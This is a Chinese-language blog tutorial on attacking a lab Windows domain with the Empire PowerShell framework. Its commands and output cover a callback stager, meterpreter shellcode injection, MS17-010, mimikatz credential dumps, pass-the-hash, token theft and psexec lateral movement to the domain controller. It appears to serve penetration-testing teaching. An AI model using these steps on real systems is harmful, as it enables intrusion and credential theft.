美文网首页
用Powershell框架Empire进行内网域渗透(一)

用Powershell框架Empire进行内网域渗透(一)

作者: jjf012 | 来源:发表于2017-08-12 12:39 被阅读0次

    前言

    自从powershell在windows开始预装之后,就成为Windows内网渗透的好帮手,好处多多:天生免杀、无文件落地、无日志(雾)
    于是老外开发了empire框架,毕竟cobalt strike要收费的不是?
    功能模块丰富,老外把内网[域]渗透中能用到的都整合进去了:内网探测,提权,凭据获取,横向移动,权限维持。模块那么多,不懂就searchmodule或者[tab]两下。

    安装

    基于debian系的,如kali或者ubuntu都可以安装。
    git clone https://github.com/EmpireProject/Empire.git
    在执行安装脚本之前,建议修改软件源和pip源,避免因为网络问题安装失败。
    sudo ./setup/install.sh

    构建监听器

    安装好后执行./empire后就可以用了。
    先查看可用的Listener有哪些?[tab]两下就出来了所有可用的。

    (Empire: listeners) > uselistener 
    dbx           http          http_com      http_foreign  http_hop      http_mapi     meterpreter   onedrive      redirector
    

    通过info查看指定模块的配置信息

    • http[s],用http[s]进行交互。
    • http_com,使用IE的COM组件进行交互。
    • http_foreign,这个跟http看不出差别在哪。
    • http_hop,接收到的请求转发到其他的listener,猜测用于C2。
    • dbx|onedrive,使用dropbox或者onedrive作为信息传递的中介,类似QQ空间上线或者weibo上线的远控。
    • http_mapi,通过邮件上线。
    • meterpreter,就不多说了,大家都知道的。

    这里还是先使用http的监听,通过set Port 8080修改监听的端口,2.x版必须同时设置Host,然后execute启动监听。

    (Empire: listeners/dbx) > back
    (Empire: listeners) > uselistener http
    (Empire: listeners/http) > set Port 8080
    (Empire: listeners/http) > set Name test
    (Empire: listeners/http) > execute
    [*] Starting listener 'test'
    [+] Listener successfully started!
    

    通过list命令查看正在运行的监听

    (Empire: listeners) > list
    [*] Active listeners:
      Name              Module          Host                                 Delay/Jitter   KillDate
      ----              ------          ----                                 ------------   --------
      test              http            http://192.168.99.240:8080           5/0.0
    

    可以通过usestager来生成文件,引诱对方运行,可以看到支持linux、Windows、osx。

    (Empire: listeners) > usestager
    multi/bash            osx/application       osx/macho             windows/bunny         windows/launcher_sct
    multi/launcher        osx/ducky             osx/macro             windows/dll           windows/launcher_vbs
    multi/pyinstaller     osx/dylib             osx/pkg               windows/ducky         windows/macro
    multi/war             osx/jar               osx/safari_launcher   windows/hta           windows/teensy
    osx/applescript       osx/launcher          osx/teensy            windows/launcher_bat  
    

    这里我们选用launcher_bat,通过info查看可以配置的参数。

    (Empire: stager/windows/launcher_bat) > info
    Name: BAT Launcher
    Description:
      Generates a self-deleting .bat launcher for
      Empire.
    Options:
      Name             Required    Value             Description
      ----             --------    -------           -----------
      Listener         True                          Listener to generate stager for.
      OutFile          False       /tmp/launcher.bat File to output .bat launcher to,
                                                     otherwise displayed on the screen.
      Proxy            False       default           Proxy to use for request (default, none,
                                                     or other).
      Language         True        powershell        Language of the stager to generate.
      ProxyCreds       False       default           Proxy credentials
                                                     ([domain\]username:password) to use for
                                                     request (default, none, or other).
      UserAgent        False       default           User-agent string to use for the staging
                                                     request (default, none, or other).
      Delete           False       True              Switch. Delete .bat after running.
      StagerRetries    False       0                 Times for the stager to retry
                                                     connecting.
    

    这里需要注意的是Listener的Name,必须跟前面启用的Listener的一致。

    (Empire: stager/windows/launcher_bat) > set Listener test
    (Empire: stager/windows/launcher_bat) > execute
    [*] Stager output written out to: /tmp/launcher.bat
    

    生成的文件内容是这样子的

    @echo off
    start /b powershell -noP -sta -w 1 -enc  WwBSAGUARgBdAC4AQQBTAHMAZQBNAEIAbABZAC4ARwBFAHQAVAB5AHAAZQAoACcAUwB5AHM...
    start /b "" cmd /c del "%~f0"&exit /b
    

    其中那么一大段的powershell命令,跟(Empire: listeners) > launcher powershell test的执行结果是一样的。这里先不关心怎么让其在别的机子上运行,那是另外的技术活。

    Agent回连

    用win7的cmd执行了那一串命令后,进程中可以看到有powershell.exe

    执行agents命令查看回连的机子,然后interact BNR1T9ZC来与之进行交互。

    (Empire) > agents
    [*] Active agents:
      Name            Lang  Internal IP     Machine Name    Username            Process             Delay    Last Seen
      ---------       ----  -----------     ------------    ---------           -------             -----    --------------------
      BNR1T9ZC        ps    1.1.1.11        USERUQI-5SKFS8A TEST\user           powershell/2620     5/0.0    2017-08-11 22:50:12
    (Empire: agents) > interact BNR1T9ZC
    

    通过help命令可以查看到在agent上可以执行很多命令。这里挑些重要的讲。
    bypassuac,顾名思义就是绕过uac的。除非你是本机的administrator,否则普通管理员都需要右键某个程序,然后选择run as administrator才能运行,这都是uac作的怪。
    因为这里是用普通域用户权限执行的,连本机的普通管理员都不算,所以失败了。

    (Empire: BNR1T9ZC) > bypassuac test
    (Empire: BNR1T9ZC) > 
    Job started: S8D3ZM
    [!] Current user not a local administrator!
    

    sc,屏幕截图命令,可以通过这个了解机子上的人正在做什么。

    (Empire: DUL6BFCM) > 
    Output saved to ./downloads/DUL6BFCM/screenshot/USERUQI-5SKFS8A_2017-08-12_10-33-57.png
    

    我们看看usemodule还有哪些可用的模块?(有些模块需要对应权限才能成功运行)

    (Empire: DUL6BFCM) > usemodule
    Display all 193 possibilities? (y or n)
    
    模块名称 作用
    code_execution 代码执行?
    collection 收集浏览器、剪切板、keepass、文件浏览记录等信息
    credentials 密码凭据的获取和转储
    exfiltration 信息渗出
    exploitation 漏洞溢出
    lateral_movement 横向运动移动
    management 用来执行些系统设置,和邮件信息的收集
    persistence 权限维持
    privesc 本机权限提升
    recon 侦察
    situational_awareness 评估主机运行环境,网络运行环境
    trollsploit 恶作剧

    输入help agentcmds可以看到可供使用的常用命令

    [*] Available opsec-safe agent commands:
    
         ls, dir, rm, del, cp, copy, pwd, cat, cd, mkdir,  
         rmdir, mv, move, ipconfig, ifconfig, route,       
         reboot, restart, shutdown, ps, tasklist, getpid,  
         whoami, getuid, hostname  
    

    执行ipconfig查看网卡信息(如果不在help列表中,那么会自动执行远程主机上的可用命令)

    (Empire: BNR1T9ZC) > ipconfig
    (Empire: BNR1T9ZC) > 
    Description      : Intel(R) 82574L Gigabit Network Connection
    MACAddress       : 00:0C:29:EA:21:46
    DHCPEnabled      : False
    IPAddress        : 1.1.1.11,fe80::e944:2051:c02f:456
    IPSubnet         : 255.255.255.0,64
    DefaultIPGateway : 1.1.1.1
    DNSServer        : 1.1.1.10
    DNSHostName      : USERUQI-5SKFS8A
    DNSSuffix        : test.com
    

    可以看到dns的ip是1.1.1.10,既是域控的ip

    与metasploit联动

    当你获得一个会话之后,又想要派生更多会话,怎么办?

    使用invoke_shellcode来注入meterpreter的shellcode

    (Empire: BNR1T9ZC) > usemodule code_execution/invoke_shellcode
    (Empire: powershell/code_execution/invoke_shellcode) > info
      ProcessID False                                 Process ID of the process you want to   
                                                      inject shellcode into.                  
      Lhost     False                                 Local host handler for the meterpreter  
                                                      shell.                                  
      Agent     True        BNR1T9ZC                  Agent to run module on.                 
      Listener  False                                 Meterpreter/Beacon listener name.       
      Lport     False                                 Local port of the host handler.         
      Shellcode False                                 Custom shellcode to inject,             
                                                      0xaa,0xab,... format.                   
      Payload   False       reverse_https             Metasploit payload to inject            
                                                      (reverse_http[s]).  
    

    metasploit先要设置一个listener

    use exploit/mutli/handle
    set payload windows/x64/meterpreter/reverse_https
    

    然后empire执行

    (Empire: powershell/code_execution/invoke_shellcode) > set Lhost 192.168.99.240
    (Empire: powershell/code_execution/invoke_shellcode) > set Lport 8888
    (Empire: powershell/code_execution/invoke_shellcode) > execute
    Job started: SWCFYD
    

    成功获取meterpreter会话(才怪,empire2.5版本)

    在session1建立到1.1.1.0/24网段的路由跳转
    run autoroute -s 1.1.1.0/24

    通过sesesion1打通网段后,可以看到域控服务器1.1.1.10开放的端口

    使用ms17010成功获取meterpreter会话。
    至此,域控拿下,可以开始漫游内网。(还是得靠metasploit,单一个empire做的事情很有限)


    获取域管理员的明文凭据

    用后渗透模块credential_collector收集可用的凭据

    empire可以直接使用mimikatz来获取凭据。注意,此时客户端上powershell进程占用的cpu可达90%,会引起卡顿

    (Empire: MLGKNRUX) > mimikatz
    (Empire: MLGKNRUX) > 
    Job started: KCGE61
    
    mimikatz(powershell) # sekurlsa::logonpasswords
    
    Authentication Id : 0 ; 583471 (00000000:0008e72f)
    Session           : Interactive from 2
    User Name         : user
    Domain            : TEST
    Logon Server      : WIN-EGQU692VVEO
    Logon Time        : 2017/8/12 20:29:49
    SID               : S-1-5-21-4238402708-2722160872-2769255546-1107
        msv :   
         [00010000] CredentialKeys
         * NTLM     : 44f077e27f6fef69e7bd834c7242b040
         * SHA1     : 5341b3e05f096263ff537bdcb2cebefef39a167f
         [00000003] Primary
         * Username : user
         * Domain   : TEST
         * NTLM     : 44f077e27f6fef69e7bd834c7242b040
         * SHA1     : 5341b3e05f096263ff537bdcb2cebefef39a167f
        tspkg : 
        wdigest :   
         * Username : user
         * Domain   : TEST
         * Password : abc123!
        kerberos :  
         * Username : user
         * Domain   : TEST.COM
         * Password : (null)
        ssp :   
        credman :   
    
    Authentication Id : 0 ; 322350 (00000000:0004eb2e)
    Session           : Interactive from 1
    User Name         : Administrator
    Domain            : USERUQI-5SKFS8A
    Logon Server      : USERUQI-5SKFS8A
    Logon Time        : 2017/8/12 20:21:51
    SID               : S-1-5-21-2218037576-2376031825-1502863076-500
        msv :   
         [00010000] CredentialKeys
         * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
         * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
         [00000003] Primary
         * Username : Administrator
         * Domain   : USERUQI-5SKFS8A
         * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
         * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709
        tspkg : 
        wdigest :   
         * Username : Administrator
         * Domain   : USERUQI-5SKFS8A
         * Password : (null)
        kerberos :  
         * Username : Administrator
         * Domain   : USERUQI-5SKFS8A
         * Password : (null)
        ssp :   
        credman :   
    

    creds查看获取的凭据

    (Empire: MLGKNRUX) > creds
    
    Credentials:
    
      CredID  CredType   Domain                   UserName         Host             Password
      ------  --------   ------                   --------         ----             --------
      1       hash       test.com                 user             USERUQI-5SKFS8A  44f077e27f6fef69e7bd834c7242b040
      2       hash       USERUQI-5SKFS8A          Administrator    USERUQI-5SKFS8A  31d6cfe0d16ae931b73c59d7e0c089c0
      3       hash       test.com                 USERUQI-5SKFS8A$ USERUQI-5SKFS8A  fc646d691aaeda35dd5b605d3cbb1ddb
      4       plaintext  test.com                 user             USERUQI-5SKFS8A  abc123!
    

    利用pth来传递hash,用这个hash创建一个新的进程,可以看到新的进程id是3032

    (Empire: MLGKNRUX) > pth 1
    (Empire: MLGKNRUX) > 
    Job started: 5W1GST
    
    Hostname: USERUQI-5SKFS8A.test.com / S-1-5-21-2218037576-2376031825-1502863076
    mimikatz(powershell) # sekurlsa::pth /user:user /domain:test.com /ntlm:44f077e27f6fef69e7bd834c7242b040
    user    : user
    domain  : test.com
    program : cmd.exe
    impers. : no
    NTLM    : 44f077e27f6fef69e7bd834c7242b040
      |  PID  3032
      |  TID  452
      |  LSA Process is now R/W
      |  LUID 0 ; 1042120 (00000000:000fe6c8)
      \_ msv1_0   - data copy @ 0000000000227C20 : OK !
      \_ kerberos - data copy @ 000000000026A148
       \_ aes256_hmac       -> null             
       \_ aes128_hmac       -> null             
       \_ rc4_hmac_nt       OK
       \_ rc4_hmac_old      OK
       \_ rc4_md4           OK
       \_ rc4_hmac_nt_exp   OK
       \_ rc4_hmac_old_exp  OK
       \_ *Password replace -> null
    Use credentials/token to steal the token of the created PID.
    

    然后credentials/tokens查看不同用户的进程id

    (Empire: powershell/credentials/tokens) > execute
    
    Domain          Username        ProcessId IsElevated TokenType
    ------          --------        --------- ---------- ---------
    TEST            user                  200      False Primary  
    NT AUTHORITY    SYSTEM                480       True Primary  
    NT AUTHORITY    NETWORK SERVICE      1840       True Primary  
    USERUQI-5SKFS8A Administrator        2620       True Primary  
    

    对指定进程steal_token之后,再去与agent交互就是域用户user的权限了。

    (Empire: MLGKNRUX) > steal_token 3032
    (Empire: MLGKNRUX) > sysinfo: 0|http://192.168.99.165:8080|TEST|user|USERUQI-5SKFS8A|1.1.1.11|Microsoft Windows 7 专业版 |False|powershell|2788|powershell|2
    (Empire: agents) > interact MLGKNRUX
    Running As: TEST\user
    

    用revtoself再切换回原来的权限(普通域用户权限太低做不了什么)

    (Empire: MLGKNRUX) > revtoself
    (Empire: MLGKNRUX) > sysinfo: 0|http://192.168.99.165:8080|USERUQI-5SKFS8A|Administrator|USERUQI-5SKFS8A|1.1.1.11|Microsoft Windows 7 专业版 |True|powershell|2788|powershell|2
    

    到这里尝试了好几个situational_awareness/network/powerview的模块返回的都是空结果,看来是需要域管理员才能执行成功。

    运气爆棚的时候?

    碰巧域管理员也登陆这台机子,那么就能用他的权限做很多事情了。

      5       hash       test.com                 Administrator    USERUQI-5SKFS8A  db1d3b8e9a069f5890339a33328e42a2
      6       plaintext  test.com                 Administrator    USERUQI-5SKFS8A  abc123!@#
    

    也可以使用usemodule management/psinject进行切换,设置好ProcessId即可

    (Empire: powershell/management/psinject) > set ProcId 396
    (Empire: powershell/management/psinject) > set Listener test
    (Empire: powershell/management/psinject) > execute
    (Empire: powershell/management/psinject) > 
    Job started: VGZL5P
    [+] Initial agent E6LKS124 from 192.168.99.179 now active
    

    现在我们又获得了一次域管理员权限,可以开始横向移动了。
    先内网探测下可用的机子有哪些,使用了situational_awareness中的三个模块:
    find_localadmin_access user_hunter get_domain_controller

    (Empire: powershell/situational_awareness/network/powerview/find_localadmin_access) > execute
    Job started: FP3Z2W
    
    WIN-EGQU692VVEO.test.com
    USERUQI-5SKFS8A.test.com
    x-2a37f335db5e4.test.com
    
    (Empire: powershell/situational_awareness/network/powerview/user_hunter) > 
    Job started: 3NFBHP
    
    UserDomain      : TEST
    UserName        : Administrator
    ComputerName    : WIN-EGQU692VVEO.test.com
    IPAddress       : 1.1.1.10
    SessionFrom     : 
    SessionFromName : 
    LocalAdmin      : 
    
    UserDomain      : test.com
    UserName        : Administrator
    ComputerName    : USERUQI-5SKFS8A.test.com
    IPAddress       : 1.1.1.11
    SessionFrom     : 
    SessionFromName : 
    LocalAdmin      : 
    
    (Empire: powershell/situational_awareness/network/powerview/get_domain_controller) > execute
    Job started: 9D18BM
    Forest                     : test.com
    CurrentTime                : 2017/8/12 15:15:48
    HighestCommittedUsn        : 28748
    OSVersion                  : Windows Server 2008 R2 Standard
    Roles                      : {SchemaRole, NamingRole, PdcRole, RidRole...}
    Domain                     : test.com
    IPAddress                  : 1.1.1.10
    SiteName                   : Default-First-Site-Name
    SyncFromAllServersCallback : 
    InboundConnections         : {}
    OutboundConnections        : {}
    Name                       : WIN-EGQU692VVEO.test.com
    Partitions                 : {DC=test,DC=com, CN=Configuration,DC=test,DC=com, C
                                 N=Schema,CN=Configuration,DC=test,DC=com, DC=Domain
                                 DnsZones,DC=test,DC=com...}
    

    又一次可以确定1.1.1.10就是域控所在了。用lateral_movement/invoke_psexec移动到域控服务器上面。

    (Empire: powershell/lateral_movement/invoke_psexec) > set ComputerName WIN-EGQU692VVEO.test.com
    (Empire: powershell/lateral_movement/invoke_psexec) > set Listener test
    (Empire: powershell/lateral_movement/invoke_psexec) > execute
    [>] Module is not opsec safe, run? [y/N] y
    (Empire: powershell/lateral_movement/invoke_psexec) > 
    Job started: 2C1AG8
    
    [+] Initial agent ZWHA4EPB from 192.168.99.179 now active
    (Empire: powershell/lateral_movement/invoke_psexec) > agents
    [*] Active agents:
    
      Name            Lang  Internal IP     Machine Name    Username            Process             Delay    Last Seen
      ---------       ----  -----------     ------------    ---------           -------             -----    --------------------
      MLGKNRUX        ps    1.1.1.11        USERUQI-5SKFS8A *USERUQI-5SKFS8A\Admpowershell/2788     5/0.0    2017-08-12 11:24:56
      E6LKS124        ps    1.1.1.11        USERUQI-5SKFS8A *USERUQI-5SKFS8A\Admcmd/396             5/0.0    2017-08-12 11:24:52
      ZWHA4EPB        ps    1.1.1.10        WIN-EGQU692VVEO *TEST\SYSTEM        powershell/1740     5/0.0    2017-08-12 11:24:54
    

    终于又回到了域控服务器,接下来要考虑的是如何导出域控上面的所有hash,并且维持权限。

    相关文章

      网友评论

          本文标题:用Powershell框架Empire进行内网域渗透(一)

          本文链接:https://www.haomeiwen.com/subject/ptzdrxtx.html